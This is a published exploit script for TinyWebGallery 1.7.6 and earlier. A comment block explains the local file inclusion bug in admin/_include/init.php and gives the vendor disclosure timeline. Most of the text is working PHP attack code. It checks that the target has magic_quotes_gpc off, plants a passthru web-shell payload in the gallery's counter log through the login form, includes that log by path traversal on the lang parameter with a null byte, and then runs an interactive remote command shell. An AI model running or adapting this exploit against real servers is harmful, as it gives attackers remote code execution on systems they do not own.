TinyWebGallery 1.7.6 Local File Inclusion

`<?php  
  
/*  
-----------------------------------------------------------  
TinyWebGallery <= 1.7.6 LFI / Remote Code Execution Exploit  
-----------------------------------------------------------  
  
author...: EgiX  
mail.....: n0b0d13s[at]gmail[dot]com  
  
link.....: http://www.tinywebgallery.com/  
details..: this vulnerability drift from QuiXplorer (http://quixplorer.sourceforge.net/)  
  
This PoC was written for educational purpose. Use it at your own risk.  
Author will be not responsible for any damage.  
  
[-] vulnerable code in /admin/_include/init.php  
  
110. // Get Language  
111. if (isset($GLOBALS['__GET']["lang"])) $GLOBALS["lang"] = $GLOBALS["language"] = $_SESSION["admin_lang"] = $GLOBALS['__GET']["lang"];  
112. elseif (isset($GLOBALS['__POST']["lang"])) $GLOBALS["lang"] = $GLOBALS["language"] = $_SESSION["admin_lang"] = $GLOBALS['__POST']["lang"];  
113. else if (isset($_SESSION["admin_lang"])) $GLOBALS["lang"] = $GLOBALS["language"] = $_SESSION["admin_lang"];   
114. else $GLOBALS["language"] = $GLOBALS["default_language"];  
115.   
[...]  
138.   
139. // ------------------------------------------------------------------------------  
140. // Necessary files  
141. require _QUIXPLORER_PATH . "/_config/conf.php";  
142.   
143. if (file_exists(_QUIXPLORER_PATH . "/_lang/" . $GLOBALS["language"] . ".php"))  
144. require _QUIXPLORER_PATH . "/_lang/" . $GLOBALS["language"] . ".php";  
145. else if (file_exists(_QUIXPLORER_PATH . "/_lang/" . $GLOBALS["default_language"] . ".php"))  
146. require _QUIXPLORER_PATH . "/_lang/" . $GLOBALS["default_language"] . ".php";  
147. else  
148. require _QUIXPLORER_PATH . "/_lang/en.php";  
  
An attacker could be able to include arbitrary local files through the require function at line 144, due to  
$_GET['lang'] parameter isn't properly sanitised. Successful exploitation requires magic_quotes_gpc = off  
  
[-] Disclosure timeline:  
  
[14/04/2009] - Bug discovered  
[25/04/2009] - Vendor contacted  
[26/04/2009] - Vendor replied  
[26/04/2009] - Fix released: http://www.tinywebgallery.com/forum/viewtopic.php?t=1653  
[08/05/2009] - Public disclosure  
  
*/  
  
error_reporting(0);  
set_time_limit(0);  
ini_set("default_socket_timeout", 5);  
  
function http_send($host, $packet)  
{  
if (($s = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) == false)  
die("\nsocket_create(): " . socket_strerror($s) . "\n");  
  
if (socket_connect($s, $host, 80) == false)  
die("\nsocket_connect(): " . socket_strerror(socket_last_error()) . "\n");  
  
socket_write($s, $packet, strlen($packet));  
while ($m = socket_read($s, 2048)) $response .= $m;  
  
socket_close($s);  
return $response;  
}  
  
function check_target()  
{  
global $host, $path;  
  
$packet = "GET {$path}info.php?showphpinfo=true HTTP/1.0\r\n";  
$packet .= "Host: {$host}\r\n";  
$packet .= "Connection: close\r\n\r\n";  
  
preg_match('/magic_quotes_gpc<\/td><td class="v">(.*)<\/td><td/', http_send($host, $packet), $match);  
  
if ($match[1] != "Off") die("\n[-] Exploit failed...magic_quotes_gpc = on\n");  
}  
  
function inject_code()  
{  
global $host, $path;  
  
$code = "<?php \${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${die} ?>";  
$payload = "p_user={$code}&p_pass=";  
  
$packet = "POST {$path}admin/index.php?action=login HTTP/1.0\r\n";  
$packet .= "Host: {$host}\r\n";  
$packet .= "Content-Length: ".strlen($payload)."\r\n";  
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";  
$packet .= "Connection: close\r\n\r\n";  
$packet .= $payload;  
  
http_send($host, $packet);  
}  
  
print "\n+---------------------------------------------------------------------+";  
print "\n| TinyWebGallery <= 1.7.6 LFI / Remote Code Execution Exploit by EgiX |";  
print "\n+---------------------------------------------------------------------+\n";  
  
if ($argc < 3)  
{  
print "\nUsage......: php $argv[0] host path\n";  
print "\nExample....: php $argv[0] localhost /";  
print "\nExample....: php $argv[0] localhost /twg/\n";  
die();  
}  
  
$host = $argv[1];  
$path = $argv[2];  
  
check_target();  
inject_code();  
  
$packet = "GET {$path}admin/index.php?lang=../../counter/_twg.log%%00 HTTP/1.0\r\n";  
$packet .= "Host: {$host}\r\n";  
$packet .= "Cmd: %s\r\n";  
$packet .= "Connection: close\r\n\r\n";  
  
while (1)  
{  
print "\ntwg-shell# ";  
if (($cmd = trim(fgets(STDIN))) == "exit") break;  
$response = http_send($host, sprintf($packet, base64_encode($cmd)));  
preg_match("/_code_/", $response) ? print array_pop(explode("_code_", $response)) : die("\n[-] Exploit failed...\n");  
}  
  
?>  
  
  
  
`